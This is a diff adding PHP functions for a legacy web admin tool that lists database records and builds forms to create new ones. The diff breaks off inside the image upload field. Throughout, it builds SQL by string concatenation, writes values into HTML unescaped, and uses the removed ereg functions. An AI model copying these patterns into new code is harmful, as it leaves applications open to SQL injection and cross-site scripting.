+ $outvals[$reccount][$fieldcount]['data'] = '(hidden)';
+ break;
+
+ case "lat":
+ $fw = 2;
+ if( $f[1] > 0 )
+ $fw = $f[1];
+ $ns = 'N';
+ if( $r[$field[0]] < 0 )
+ {
+ $ns = 'S';
+ $r[$field[0]] = -1 * $r[$field[0]];
+ }
+ $dv = (int) $r[$field[0]];
+ $mv = ( $r[$field[0]] - $dv ) * 60;
+ $outvals[$reccount][$fieldcount]['data'] = sprintf( "<NOBR>%s %d° %01.".$fw."f'</NOBR>", $ns, $dv, $mv );
+ break;
+
+ case "lon":
+ $fw = 2;
+ if( $f[1] > 0 )
+ $fw = $f[1];
+ $ns = 'E';
+ if( $r[$field[0]] < 0 )
+ {
+ $ns = 'W';
+ $r[$field[0]] = -1 * $r[$field[0]];
+ }
+ $dv = (int) $r[$field[0]];
+ $mv = ( $r[$field[0]] - $dv ) * 60;
+ $outvals[$reccount][$fieldcount]['data'] = sprintf( "<NOBR>%s %d° %01.".$fw."f'</NOBR>", $ns, $dv, $mv );
+ break;
+
+ case "order":
+ case "int":
+ case "float":
+ $outvals[$reccount][$fieldcount]['data'] = $r[$field[0]];
+ break;
+
+ case "money":
+ $outvals[$reccount][$fieldcount]['data'] = "$".sprintf( "%01.2f", $r[$field[0]] );
+ break;
+
+ case "fixed":
+ $outvals[$reccount][$fieldcount]['data'] = sprintf( "%01.".$f[1]."f", $r[$field[0]] );
+ break;
+
+ case "date":
+ case "text":
+ case "textbox":
+ case "richtext":
+ case "inet":
+ $outvals[$reccount][$fieldcount]['data'] = $r[$field[0]];
+ break;
+
+ case "state":
+ $outvals[$reccount][$fieldcount]['data'] = $GLOBALS['si_states_array'][$r[$field[0]]];
+ break;
+
+ case "country":
+ $outvals[$reccount][$fieldcount]['data'] = $GLOBALS['si_countries_array'][$r[$field[0]]];
+ break;
+
+ case "url":
+ $outvals[$reccount][$fieldcount]['data'] = '<A HREF="'.$r[$field[0]].'">'.$r[$field[0]].'</A>';
+ break;
+
+ case "category":
+ // Get the category name for this field is supplied
+ if( !empty($r[$field[0]]) )
+ {
+ if( $cval = db_auto_get_row( "SELECT * FROM ".$f[1]." WHERE id = ".$r[$field[0]].";", 0, $conn_str, FALSE ) )
+ $outvals[$reccount][$fieldcount]['data'] = $cval['name'];
+ else
+ $outvals[$reccount][$fieldcount]['data'] = '<FONT COLOR="red">Unknown Category</FONT>';
+ }
+ else
+ {
+ $outvals[$reccount][$fieldcount]['data'] = " ";
+ }
+ break;
+
+ case "pointer":
+ // If {value_field} supplied use that, otherwise use id of record as value to match
+ $value_field = !empty($f[3]) ? $f[3] : "id" ;
+
+ // If {where} supplied use that, otherwise match {value_field} or "id" field
+ $w = '';
+ if( !empty($f[4]) )
+ $w = " WHERE ".$f[4];
+ elseif( trim($r[$field[0]]) != '' )
+ $w = " WHERE ".$value_field." = ".$r[$field[0]];
+
+ if( $w != '' )
+ {
+ $ref_fields = explode_trim( "~", $f[2] ); // Separate all fields to display
+ $ref_select = $sep = '';
+ foreach( $ref_fields as $ref_field ) // Build fields spec for SELECT
+ {
+ $ref_select .= $sep.$ref_field;
+ $sep = ',';
+ }
+ $pval = db_auto_get_row( "SELECT $ref_select FROM ".$f[1].$w.";", 0, $conn_str, $fail_mode );
+ $outvals[$reccount][$fieldcount]['data'] = '';
+ $ref_space = '';
+ foreach( $ref_fields as $ref_field ) // Put together all fields referenced as output
+ {
+ $outvals[$reccount][$fieldcount]['data'] .= $ref_space.$pval[$ref_field];
+ $ref_space = ' ';
+ }
+ }
+ else
+ $outvals[$reccount][$fieldcount]['data'] = '';
+ break;
+
+ case "checkbox":
+ $outvals[$reccount][$fieldcount]['data'] = $r[$field[0]] == "t" ? "Yes" : "No" ;
+ break;
+
+ case "image":
+ if( !empty($r[$field[0]]) )
+ {
+ switch( $f[1] )
+ {
+ case "o": $img_url = SI_IMG_ORIGINAL_URL; break;
+ case "r": $img_url = SI_IMG_RESIZED_URL; break;
+ case "m": $img_url = SI_IMG_MIDSIZED_URL; break;
+ case "t": $img_url = SI_IMG_THUMB_URL; break;
+ default: $img_url = "none"; break;
+ }
+ if( $img_url != "none" )
+ $outvals[$reccount][$fieldcount]['data'] = '<IMG SRC="'.$img_url."/".$r[$field[0]].'">';
+ else
+ $outvals[$reccount][$fieldcount]['data'] = '<FONT COLOR="RED">Invalid Image Size</FONT>';
+ }
+ else
+ $outvals[$reccount][$fieldcount]['data'] = '(no image)';
+ break;
+
+ case "file":
+ if( !empty($r[$field[0]]) )
+ {
+ if( ereg( 'secure', $f[2] ) )
+ {
+ if( !defined('SI_FILE_SECRET') || SI_FILE_SECRET == '' )
+ {
+ echo '<p><font color="red">ERROR: </font> SI_FILE_SECRET parameter required for <b>file_output_secure()</b><br>
+ SI_FILE_SECRET defined parameter not found or no contents! Please check siteinfo.inc file.<p>';
+ exit;
+ }
+ $file_md5 = md5( $r[$field[0]].SI_FILE_SECRET );
+ $outvals[$reccount][$fieldcount]['data'] = '<A HREF="'.SI_BASE_URL.'/glm_apps/file_output_secure.phtml?filename='.urlencode($r[$field[0]])
+ .'&md5='.$file_md5.'&path='.urlencode($f[1]).'">'.$r[$field[0]].'</A>';
+ }
+ else
+ $outvals[$reccount][$fieldcount]['data'] = '<A HREF="'.SI_BASE_FILE_URL.'/'.$r[$field[0]].'">'.$r[$field[0]].'</A>';
+ }
+ else
+ $outvals[$reccount][$fieldcount]['data'] = '(no file)';
+ break;
+
+ case "list":
+ $opts_table = array ();
+ $opts = explode_trim( "~", $f[1] ); // Separate list options
+ foreach( $opts as $opt )
+ {
+ $z = explode_trim("^", $opt); // Separate value from displayed text
+ $opts_table[$z[0]] = $z[1];
+ }
+
+ // In case there's multiple selected options, display results of all selected options with comma separators
+
+ $x = explode( '~', $r[$field[0]] );
+ $outvals[$reccount][$fieldcount]['data'] = $sep = '';
+ if( is_array($x) )
+ foreach( $x as $y )
+ {
+ $outvals[$reccount][$fieldcount]['data'] .= $sep.$opts_table[$y];
+ $sep = ', ';
+ }
+
+ break;
+
+ default:
+ $outvals[$reccount][$fieldcount]['data'] = '<FONT COLOR="red">UNKNOWN FIELD TYPE: '.$f[0].' for '.$field[0].'</FONT>';
+ break;
+
+ } // switch( field )
+ $fieldcount++;
+ } // foreach( field )
+
+ if( $operation_column )
+ {
+ $op_view = '<A HREF="'.$url.'?Action='.urlencode($action).'&Option=View'.$link_params.'&id='.$r["id"].'">[view] </A>';
+ $op_edit = '<A HREF="'.$url.'?Action='.urlencode($action).'&Option=Edit'.$link_params.'&id='.$r["id"].'">[edit] </A>';
+ $op_delete = '<A HREF="'.$url.'?Action='.urlencode($action).'&Option=Delete'.$link_params.'&id='.$r["id"].'">[delete] </A>';
+ $op_dupe = '<A HREF="'.$url.'?Action='.urlencode($action).'&Option=Duplicate'.$link_params.'&id='.$r["id"].'">[duplicate] </A>';
+
+ // If operation column view is specified, use that
+
+ if( $option_opview )
+ {
+
+ // Replace all parameters in Operation View
+
+ for( $i=0 ; $i<$fieldcount ; $i++ )
+ {
+ $opview = ereg_replace( "\\{".$i."\\}", $outnames[$i], $opview );
+ $opview = ereg_replace( "\\{encode:".$i."\\}", urlencode($outnames[$i]), $opview );
+ }
+ $opview = ereg_replace( "\\{link_params\}", $link_params, $opview );
+ $opview = ereg_replace( "\\{form_params\}", $form_params, $opview );
+ $opview = ereg_replace( "\\{op_view\}", $op_view, $opview );
+ $opview = ereg_replace( "\\{op_edit\}", $op_edit, $opview );
+ $opview = ereg_replace( "\\{op_delete\}", $op_delete, $opview );
+ $opview = ereg_replace( "\\{op_dupe\}", $op_dupe, $opview );
+ $opview = ereg_replace( "\\{op_url\}", $url, $opview );
+ $opview = ereg_replace( "\\{op_id\}", $r["id"], $opview );
+
+ $outvals[$reccount][$fieldcount]['data'] = $opview;
+ $fieldcount++;
+
+ }
+ else // Otherwise, include specified operations
+ {
+ $outvals[$reccount][$fieldcount]['data'] = "";
+ if( $option_view )
+ $outvals[$reccount][$fieldcount]['data'] .= $op_view;
+ if( $option_edit )
+ $outvals[$reccount][$fieldcount]['data'] .= $op_edit;
+ if( $option_delete )
+ $outvals[$reccount][$fieldcount]['data'] .= $op_delete;
+ if( $option_duplicate )
+ $outvals[$reccount][$fieldcount]['data'] .= $op_dupe;
+ $fieldcount++;
+ }
+ }
+
+ $reccount++;
+ } // foreach( record )
+
+ // Replace parameters in Title - {n} represents the field names in the page title
+
+ } // if( $data )
+
+ for( $i=0 ; $i<$fieldcount ; $i++ )
+ {
+ $a_title = ereg_replace( "\\{".$i."\\}", $outnames[$i], $a_title );
+ $a_title = ereg_replace( "\\{encode:".$i."\\}", urlencode($outnames[$i]), $a_title );
+ }
+ $a_title = ereg_replace( "\\{filter\}", $filter_out, $a_title );
+ $a_title = ereg_replace( "\\{link_params\}", $link_params, $a_title );
+ $a_title = ereg_replace( "\\{form_params\}", $form_params, $a_title );
+ $a_title = ereg_replace( "\\{new\}", $new_out, $a_title );
+ $a_title = ereg_replace( "\\{nav\}", $nav_out, $a_title );
+
+ $ret .= "<CENTER>\n";
+
+ if( empty($view) ) // If $view is not supplied
+ {
+
+ if( trim($quick_tip) != '' )
+ $a_title = quick_tip( $a_title, $quick_tip );
+
+ // Display title, filter, and optional "new" link
+
+ $ret .= $a_title.'
+ '.$filter_out.'
+ '.$new_out;
+
+ // If there were results listed, display the results
+
+ if( $data && ($fields != "") )
+ {
+ $ret .= $nav_out.'<BR>'.$nav_initials.'
+ <TABLE BORDER="'.($option_noborder==FALSE?'1':'0').'">
+ <TR>
+ ';
+
+ // Display the titles for all columns
+
+ for( $i=0 ; $i<$fieldcount ; $i++ )
+ {
+ if( !$hidden[$i] )
+ $ret .= "<TH>".$outnames[$i]." </TH>";
+ }
+
+ // Display the data for each result
+
+ for( $i=0 ; $i<$reccount ; $i++ )
+ {
+ $ret .= "<TR>";
+
+ for( $j=0 ; $j<$fieldcount ; $j++ )
+ {
+ // If the field is supposed to be seen
+
+ if( !$hidden[$j] )
+ {
+ // If there's a format spec, use that
+ if( $outvals[$i][$j]['format'] != '' )
+ {
+ $out = $outvals[$i][$j]['format'];
+ for( $k=0 ; $k<$fieldcount ; $k++ )
+ $out = str_replace( '{'.$k.'}', $outvals[$i][$k]['data'] , $out );
+ $ret .= "<td>$out</td>";
+ }
+ else // Otherwise just output the value
+ $ret .= "<TD>".$outvals[$i][$j]['data']." </TD>";
+ }
+ }
+ $ret .= "</TR>\n";
+
+ }
+ $ret .= ' </TABLE>
+ '.$nav_out;
+ }
+ else
+ $ret .= ' <CENTER>(No results found)</CENTER>
+ ';
+
+ }
+ else // IF$view is supplied
+ {
+
+ // Replace any reference to {filter}, {new}, and {nav} in $view
+
+ $view = ereg_replace( "\\{filter\\}", $filter_out, $view );
+ $view = ereg_replace( "\\{link_params\\}", $link_params, $view );
+ $view = ereg_replace( "\\{form_params\\}", $form_params, $view );
+ $view = ereg_replace( "\\{new\\}", $new_out, $view );
+ $view = ereg_replace( "\\{nav\\}", $nav_out, $view );
+
+ // Separate the header, body, and footer
+
+ $head = $body = $foot = "";
+ $x = explode( "{body}", $view );
+ if( count($x) == 2 ) // if {body} found then we have the head and the rest
+ {
+ $head = $x[0];
+ $view = $x[1];
+ }
+ $x = explode( "{/body}", $view );
+ if( count($x) == 2 ) // If {/body} found then we have the body and the foot
+ {
+ $body = $x[0];
+ $foot = $x[1];
+ }
+ else
+ $body = $view;
+
+ // Replace the values $head & $foot - {n} in Header and footer get names of fields
+
+ for( $i=0 ; $i<$fieldcount ; $i++ )
+ {
+ $head = ereg_replace( "\\{".$i."\\}", $outnames[$i], $head );
+ $foot = ereg_replace( "\\{".$i."\\}", $outnames[$i], $foot );
+ $head = ereg_replace( "\\{encode:".$i."\\}", urlencode($outnames[$i]), $head );
+ $foot = ereg_replace( "\\{encode:".$i."\\}", urlencode($outnames[$i]), $foot );
+ }
+
+ $ret .= $a_title.$head; // Output title & head sections
+
+ if( $data )
+ {
+ // Break up body into sections
+
+ $body_parts = explode( "{section}", $body ); // Did I really write it that way???
+
+ // For each body_part
+
+ $bp = 0;
+
+ for( $i=0 ; $i<$reccount ; $i++ ) // For each Record
+ {
+ $b = $body_parts[$bp++]; // Get body section and point to next
+ if( $bp == count($body_parts) ) // if last available body section, start back at first
+ $bp = 0;
+
+ for( $j=0 ; $j<$fieldcount ; $j++ ) // For each field
+ {
+ $b = ereg_replace( "\\{".$j."\\}", $outvals[$i][$j]['data'], $b ); // Replace value for that field
+ $b = ereg_replace( "\\{encode:".$j."\\}", urlencode($outvals[$i][$j]['data']), $b ); // Replace value for that field
+ }
+
+ $ret .= $b; // Output this body section
+ }
+ }
+ else
+ $ret .= "(No results found)\n";
+
+ // Output foot
+
+ $ret .= $foot;
+
+ }
+
+ $ret .= "</CENTER>\n";
+
+ return( array( 'text' => $ret, 'status' => true ) );
+
+}
+
+function admin_list_records( $table, $where, $order, $conn_str, $fields,
+ $options, $fail_mode, $rows = 20, $start = 0,
+ $url, $action, $params, $filters, $a_title, $view = "", $id_field = "", $quick_tip = "" )
+{
+ $r = admin_list_records_r( $table, $where, $order, $conn_str, $fields,
+ $options, $fail_mode, $rows, $start,
+ $url, $action, $params, $filters, $a_title, $view, $id_field, $quick_tip );
+
+ echo $r['text'];
+ return( $r['status'] );
+}
+
+
+
+
+ // Ask for a new record for a table
+
+function admin_new_record_r( $table, $conn_str, $fields, $url, $action, $params, $a_title,
+ $view = "", $options = "", $quick_tip = "" )
+{
+
+ $ret = '';
+
+ $form_name = "edit";
+ $richtext_used = FALSE; // Indicates whether richtext field type has been specified
+ $category_used = FALSE; // Indicates whether categroy field type has been specified
+
+ // Make all submitted parameters available
+
+// extract($GLOBALS[HTTP_GET_VARS]);
+// extract($GLOBALS[HTTP_POST_VARS]);
+
+ // Check for any options
+
+ $borders = strstr( $options, "borders" ) == FALSE ? 0 : 1;
+
+ // Break out configuration data
+
+ $field_table = explode_trim( "|", $fields );
+
+ // Don't be surprised if last field is blank
+
+ if( trim($field_table[count($field_table)-1]) == "" )
+ array_pop( $field_table );
+
+ foreach( $field_table as $key => $r )
+ $field_table[$key] = explode_trim( ",", $r );
+
+ // Check for additional parameters that are passed
+
+ if( !empty($params) )
+ {
+ $param = explode_trim( "|", $params ); // Separate parameters
+ $link_params = $form_params = "";
+ foreach( $param as $p )
+ {
+ $x = explode_trim( ".", $p ); // Separate Names from Values
+ $link_params .= "&".$x[0]."=".urlencode($x[1]);
+ $form_params .= '<INPUT TYPE="hidden" NAME="'.$x[0].'" VALUE="'.$x[1].'">';
+ }
+ }
+
+
+ // For each field in the result
+
+ $outcount = 0;
+ foreach( $field_table as $field )
+ {
+
+ $f = explode_trim( ".", $field[1] );
+
+ $out[$outcount]["display"] = TRUE;
+ $out[$outcount]["field"] = $field[0];
+
+ // Display title fields
+
+ $n = explode_trim( '~', $field[2] ); // Separate QuickTip from title
+ $field_name_color = 'black';
+ switch( $field[3] )
+ {
+ case "TRUE":
+ case "UNIQUE":
+ $field_name_color = 'red';
+ case "FALSE":
+ case "SUPPLIED":
+ case "DISPLAY":
+ case "UNIQUE_NOT_REQ":
+ // setup tip display - requires show_QuickTip() and hide_QuickTip() functions from java_functions.js
+
+ if( count($n) > 1 )
+ $out[$outcount]["name"] = quick_tip( '<font color="'.$field_name_color.'">'.$n[0].'</font>', $n[1] );
+ else
+ $out[$outcount]["name"] = '<FONT COLOR="'.$field_name_color.'">'.$field[2].'</FONT>';
+
+ break;
+
+ case "HIDDEN":
+ $out[$outcount]["name"] = '';
+ break;
+
+ default:
+ $out[$outcount]["name"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+ }
+
+ // Display input fields
+
+ switch( $f[0] )
+ {
+ case "password":
+ case "money":
+ case "int":
+ case "order":
+ case "url":
+ case "text":
+ case "inet":
+ case "float":
+ case "fixed":
+ $v = "";
+ $prefix = "";
+ $s = $f[1]; // Field Input Size
+
+ if( $f[0] == "int" ) // If it's an integer, default to 0
+ $v = 0;
+
+ if( $f[0] == "order" ) // If it's an "order" field, default to 9999 - last in list
+ $v = 9999;
+
+ if( $f[0] == "money" ) // If it's money, default to 0.00
+ {
+ $prefix = "$";
+ $v = "0.00";
+ }
+
+ if( $f[0] == "fixed" ) // If it's fixed, default to specified precision
+ {
+ $prefix = "";
+ $v = "0";
+ if( $f[1] > 0 )
+ {
+ $v .= '.';
+ for( $i=0 ; $i<$f[1] ; $i++ )
+ $v .= '0';
+ $s = $f[1] + 4;
+ }
+ }
+
+ switch( $field[3] ) // {required} setting
+ {
+ case "TRUE":
+ case "UNIQUE":
+ case "UNIQUE_NOT_REQ":
+ case "FALSE":
+ if( $f[0] == 'password' )
+ {
+ $out[$outcount]["value"] = $prefix.'<INPUT TYPE="password" NAME="'.$field[0].'" VALUE="'.$v.'" SIZE="'.$s.'">';
+ $out[$outcount]["value"] .= '  enter again <INPUT TYPE="text" NAME="'.$field[0].'_verify" VALUE="'.$v.'" SIZE="'.$s.'">';
+ }
+ else
+ $out[$outcount]["value"] = $prefix.'<INPUT TYPE="text" NAME="'.$field[0].'" VALUE="'.$v.'" SIZE="'.$s.'">';
+ break;
+ case "SUPPLIED":
+ $out[$outcount]["value"] = $prefix.'<INPUT TYPE="text" NAME="'.$field[0].'" SIZE="'.$s.'" VALUE="'.$GLOBALS[$field[4]].'">';
+ break;
+ case "DISPLAY":
+ $out[$outcount]["value"] = $prefix.'<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$GLOBALS[$field[4]].'">'.$GLOBALS[$field[4]];
+ break;
+ case "HIDDEN":
+ $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$GLOBALS[$field[4]].'">';
+ break;
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+ }
+ break;
+
+ case "lat":
+
+ $fw = 2;
+ if( $f[1] > 0 )
+ $fw = $f[1];
+
+ switch( $field[3] ) // {required} setting
+ {
+ case "TRUE":
+ case "UNIQUE":
+ case "UNIQUE_NOT_REQ":
+ case "FALSE":
+ $out[$outcount]["value"] = '<SELECT NAME="'.$field[0].'_NS"><OPTION VALUE="N" SELECTED>North<OPTION VALUE="S">South</SELECT>
+ <INPUT TYPE="text" NAME="'.$field[0].'_DEG" VALUE="0" SIZE="4" MAXLENGTH="2" ALIGN="right">°
+ <INPUT TYPE="text" NAME="'.$field[0].'_MIN" VALUE="'.sprintf( "%01.".$fw."f", 0 ).'" SIZE="'.(3+$fw).'" ALIGN="right">\'';
+ break;
+ case "SUPPLIED":
+ case "DISPLAY":
+ $ns = 'N';
+ if( $GLOBALS[$field[4]] < 0 )
+ {
+ $ns = 'S';
+ $GLOBALS[$field[4]] = -1 * $GLOBALS[$field[4]];
+ }
+ $dv = (int) $GLOBALS[$field[4]];
+ $mv = ( $GLOBALS[$field[4]] - $dv ) * 60;
+ if( $field[3] == "SUPPLIED" )
+ $out[$outcount]["value"] = '<SELECT NAME="'.$field[0].'_NS"><OPTION VALUE="N" '.($ns=='N'?'SELECTED':'').'>North<OPTION VALUE="S" '.($ns=='S'?'SELECTED':'').'>South</SELECT>
+ <INPUT TYPE="text" NAME="'.$field[0].'_DEG" VALUE="'.$dv.'" SIZE="4" MAXLENGTH="2" ALIGN="right">°
+ <INPUT TYPE="text" NAME="'.$field[0].'_MIN" VALUE="'.sprintf( "%01.".$fw."f", $mv ).'" SIZE="'.(3+$fw).'" ALIGN="right">\'';
+ else
+ $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$GLOBALS[$field[4]].'">'
+ .sprintf( "<NOBR>%s %d° %01.".$fw."f'</NOBR>", $ns, $dv, $mv );
+ break;
+ case "HIDDEN":
+ $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$GLOBALS[$field[4]].'">';
+ break;
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+ }
+ break;
+
+ case "lon":
+
+ $fw = 2;
+ if( $f[1] > 0 )
+ $fw = $f[1];
+
+ switch( $field[3] ) // {required} setting
+ {
+ case "TRUE":
+ case "UNIQUE":
+ case "UNIQUE_NOT_REQ":
+ case "FALSE":
+ $out[$outcount]["value"] = '<SELECT NAME="'.$field[0].'_NS"><OPTION VALUE="W" SELECTED>West<OPTION VALUE="E">East</SELECT>
+ <INPUT TYPE="text" NAME="'.$field[0].'_DEG" VALUE="0" SIZE="4" MAXLENGTH="3" ALIGN="right">°
+ <INPUT TYPE="text" NAME="'.$field[0].'_MIN" VALUE="'.sprintf( "%01.".$fw."f", 0 ).'" SIZE="'.(3+$fw).'" ALIGN="right">\'';
+ break;
+ case "SUPPLIED":
+ case "DISPLAY":
+ $ns = 'E';
+ if( $GLOBALS[$field[4]] < 0 )
+ {
+ $ns = 'W';
+ $GLOBALS[$field[4]] = -1 * $GLOBALS[$field[4]];
+ }
+ $dv = (int) $GLOBALS[$field[4]];
+ $mv = ( $GLOBALS[$field[4]] - $dv ) * 60;
+ if( $field[3] == "SUPPLIED" )
+ $out[$outcount]["value"] = '<SELECT NAME="'.$field[0].'_NS"><OPTION VALUE="W" '.($ns=='W'?'SELECTED':'').'>West<OPTION VALUE="E" '.($ns=='E'?'SELECTED':'').'>East</SELECT>
+ <INPUT TYPE="text" NAME="'.$field[0].'_DEG" VALUE="'.$dv.'" SIZE="4" MAXLENGTH="3" ALIGN="right">°
+ <INPUT TYPE="text" NAME="'.$field[0].'_MIN" VALUE="'.sprintf( "%01.".$fw."f", $mv ).'" SIZE="'.(3+$fw).'" ALIGN="right">\'';
+ else
+ $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$GLOBALS[$field[4]].'">'
+ .sprintf( "<NOBR>%s %d° %01.".$fw."f'</NOBR>", $ns, $dv, $mv );
+ break;
+ case "HIDDEN":
+ $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$GLOBALS[$field[4]].'">';
+ break;
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+ }
+ break;
+
+ case "date":
+
+ $date_f = !empty( $f[1] ) ? time()-$f[1]*86400 : time() ; // Set datestamp of first day to allow
+ $date_t = !empty( $f[2] ) ? time()+$f[2]*86400 : time() ; // Set datestamp of last day to allow
+
+ switch( $field[3] ) // {required} setting
+ {
+ case "TRUE":
+ case "FALSE":
+ $out[$outcount]["value"] = calendar_date_select( "", time(), $date_f, $date_t, $form_name, $field[0], $f[3], $f[4] );
+ break;
+ case "SUPPLIED":
+ $out[$outcount]["value"] = calendar_date_select( $GLOBALS[$field[4]], time(), $date_f, $date_t, $form_name, $field[0], $f[3], $f[4] );
+ break;
+ case "DISPLAY":
+ $out[$outcount]["value"] = $prefix.'<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$GLOBALS[$field[4]].'">'.$GLOBALS[$field[4]];
+ break;
+ case "HIDDEN":
+ $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$GLOBALS[$field[4]].'">';
+ break;
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+ }
+ break;
+
+ case "textbox":
+ switch( $field[3] ) // {required} setting
+ {
+ case "TRUE";
+ case "FALSE";
+ $out[$outcount]["value"] = '<TEXTAREA NAME="'.$field[0].'" COLS="'.$f[1].'" ROWS="'.$f[2].'"></TEXTAREA>';
+ break;
+ case "SUPPLIED":
+ $out[$outcount]["value"] = '<TEXTAREA NAME="'.$field[0].'" COLS="'.$f[1].'" ROWS="'.$f[2].'">'
+ .$GLOBALS[$field[4]].'</TEXTAREA>';
+ break;
+ case "DISPLAY":
+ $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$GLOBALS[$field[4]].'">'.$GLOBALS[$field[4]];
+ break;
+ case "HIDDEN":
+ $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$GLOBALS[$field[4]].'">';
+ break;
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+ }
+ break;
+
+ case "richtext":
+ $def_text = '';
+ switch( $field[3] ) // {required} setting
+ {
+ case "SUPPLIED":
+ $def_text = $GLOBALS[$field[4]];
+ // no break, dropps through
+ case "TRUE";
+ case "FALSE";
+ if( SI_RICHTEXT_TYPE_ENABLED )
+ {
+ if( !$richtext_used )
+ {
+ include_once( SI_BASE_PATH.'/glm_apps/HTMLArea/glm_functions_support.inc' );
+ $richtext_used = TRUE;
+ }
+ $ew = ( trim($f[1]) != "" ? $f[1] : SI_DEFAULT_RICHTEXT_WIDTH );
+ $eh = ( trim($f[2]) != "" ? $f[2] : SI_DEFAULT_RICHTEXT_HEIGHT );
+ htmlarea_add_field( $field[0], $ew, $eh );
+ $out[$outcount]["value"] = '<TABLE BORDER="1" WIDTH="'.$ew.'"><TR><TD><TEXTAREA ID="'.$field[0].'" NAME="'.$field[0].'" COLS="60" ROWS="5">'.$def_text.'</TEXTAREA></TD></TR></TABLE>';
+ }
+ else
+ $out[$outcount]["value"] = '<TEXTAREA ID="'.$field[0].'" NAME="'.$field[0].'" COLS="60" ROWS="5">'.$def_text.'</TEXTAREA>';
+ break;
+ case "DISPLAY":
+ $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$GLOBALS[$field[4]].'">'.$GLOBALS[$field[4]];
+ break;
+ case "HIDDEN":
+ $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$GLOBALS[$field[4]].'">';
+ break;
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+ }
+ break;
+
+ case "multifield": // multitext.numb_fields.new_line_string
+
+ // THIS FIELD TYPE REQUIRES java_functions.js
+
+ switch( $field[3] )
+ {
+ case "TRUE":
+ case "FALSE":
+ $out[$outcount]["value"] = '<input type="hidden" name="'.$field[0].'_text" id="'.$field[0].'_text" value="'.$f[2].'">
+ <span id="'.$field[0].'_fields">';
+
+ // If there's data, then build existing input lines with data
+ if( ( $x = trim($data[$field[0]]) ) != '' )
+ {
+ $field_data = unserialize( $data[$field[0]] );
+
+ if( $field_data != false && is_array( $field_data ) )
+ {
+ // For each line of inputs
+ for( $i=1 ; $i<=count($field_data) ; $i++ )
+ {
+ $f_line = str_replace( '{line_numb}', $i, $f[2] ); // Set line number in output text
+ // For each input field on the line
+ for( $j=1 ; $j<=$f[1] ; $j++ )
+ $f_line = str_replace( '{field_'.$j.'}', '<input type="text" name="'.$field[0].'_'.$i.'_'.$j.'" id="'.$field[0].'_'.$i.'_'.$j.'" value="'.$field_data[$i-1][$j-1].'" onChange="multi_fields(\''.$field[0].'\',this,'.$f[1].');">', $f_line );
+
+ $out[$outcount]["value"] .= $f_line."\n";
+ }
+ }
+
+ }
+ else
+ $i = 1; // If no data blank line is #1
+
+ // Build 1 spare input line
+ $f_line = str_replace( '{line_numb}', $i, $f[2] ); // Set line number in output text
+ for( $j=1 ; $j<=$f[1] ; $j++ )
+ $f_line = str_replace( '{field_'.$j.'}', '<input type="text" name="'.$field[0].'_'.$i.'_'.$j.'" id="'.$field[0].'_'.$i.'_'.$j.'" value="" onChange="multi_fields(\''.$field[0].'\',this,'.$f[1].');">', $f_line );
+ $out[$outcount]["value"] .= $f_line."\n</span>";
+
+ break;
+
+ case "HIDDEN":
+ case "DISLPLAY":
+ case "SUPPLIED":
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+
+ }
+ break;
+
+ case "image":
+ switch( $field[3] ) // {required} setting
+ {
+ case "TRUE":
+ case "FALSE":
+ $out[$outcount]["value"] = '<INPUT TYPE="file" NAME="'.$field[0].'">';
+ break;
+ case "SUPPLIED":
+ case "DISPLAY":
+ case "HIDDEN":
+ $out[$outcount]["value"] = '<FONT COLOR="red">SUPPLIED/DISPLAY/HIDDEN not allowed here for image</FONT>';
+ break;
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+ }
+ break;
+
+ case "images":
+
+ switch( $field[3] )
+ {
+ case "TRUE":
+ case "FALSE":
+ $out[$outcount]["value"] = '';
+ $im_num = 0;
+
+ if( empty($f[1]) )
+ $spare = 2;
+ else
+ $spare = $f[1];
+
+ // Check for options
+
+ $im_des = strstr( $f[2], 'descr' );
+ $im_align = strstr( $f[2], 'align' );
+ $im_size = strstr( $f[2], 'size' );
+ if( !empty( $f[3] ) )
+ $im_des_s = $f[3];
+ else
+ $im_des_s = 40;
+ if( !empty( $f[4] ) )
+ $im_des_t = $f[4];
+ else
+ $im_des_t = "Text";
+
+ for( $i=0 ; $i<$spare ; $i++ )
+ {
+ $out[$outcount]["value"] .= '
+ Image #'.($im_num+1).'<BR>
+ <TABLE BORDER="1">
+ <TR>
+ <TD COLSPAN="2" VALIGN="middle"><INPUT TYPE="file" NAME="'.$field[0].'['.$im_num.']">
+ '.( $im_align ? '
+ Align image <SELECT NAME="'.$field[0].'_ALIGN['.$im_num.']">
+ <OPTION VALUE="Left"'.($im_data[$im_num]['align']=="Left"?" SELECTED":"").'>Left
+ <OPTION VALUE="Right"'.($im_data[$im_num]['align']=="Right"?" SELECTED":"").'>Right
+ <OPTION VALUE="Top"'.($im_data[$im_num]['align']=="Top"?" SELECTED":"").'>Top
